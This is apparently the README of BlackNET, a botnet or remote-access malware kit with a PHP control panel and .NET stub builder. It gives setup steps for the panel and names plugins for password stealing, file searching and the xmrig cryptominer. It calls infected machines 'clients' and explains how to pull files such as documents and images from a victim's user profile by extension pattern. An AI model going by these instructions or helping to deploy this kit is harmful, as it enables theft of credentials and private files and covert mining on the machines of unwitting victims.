## Requirements

PHP >= 7.3

NET Framework  
Stub >= 4.5  
Builder >= 4.5

## How to Install

Pull the repo or Download the latest release  
Compress BlackNET panel folder and upload it to your hosting  
Create a database with any name you want  
Change the database information in config/config.php  
Change the "Panel URL" with your url in config/config.php  
Change all files and folders permission to 777  
Make Sure that all dependencies are included in "plugins" folder  
FileSearcher.dll  
PasswordStealer.dll  
PluginExample.dll  
xmrig.exe  
Go to install.php fill-up the form and click install  
Create a cron job for ping.php and remove.php

Update notice If you have BlackNET installed you need

**WARNING: BEFORE UPDATING PLEASE MAKE A COPY OF YOUR DATABASE OR YOU WILL LOSE YOUR CLIENTS**

Make a copy of config.php  
Upload the new files  
Update the new config.php  
Run update.php

## How to secure BlackNET

Remove install.php and update.php  
Enable Captcha using Google reCaptcha v3  
Enable 2FA on your account  
Add a security question

## How to use the File Searcher Function

execute "Get file fom the system" command on the client  
use this pattern %Userprofile%|[Here write extension list]  
Wait until the plugin finish the process and upload the files

Pattern Example:

%Userprofile%|[jpg,png,docx,pdf,logs,txt,pptx,psd,rtf]

000Webhost notice Please use Unzipper.php to extract the panel files inside 000webhost filemanager

What's New v3.7
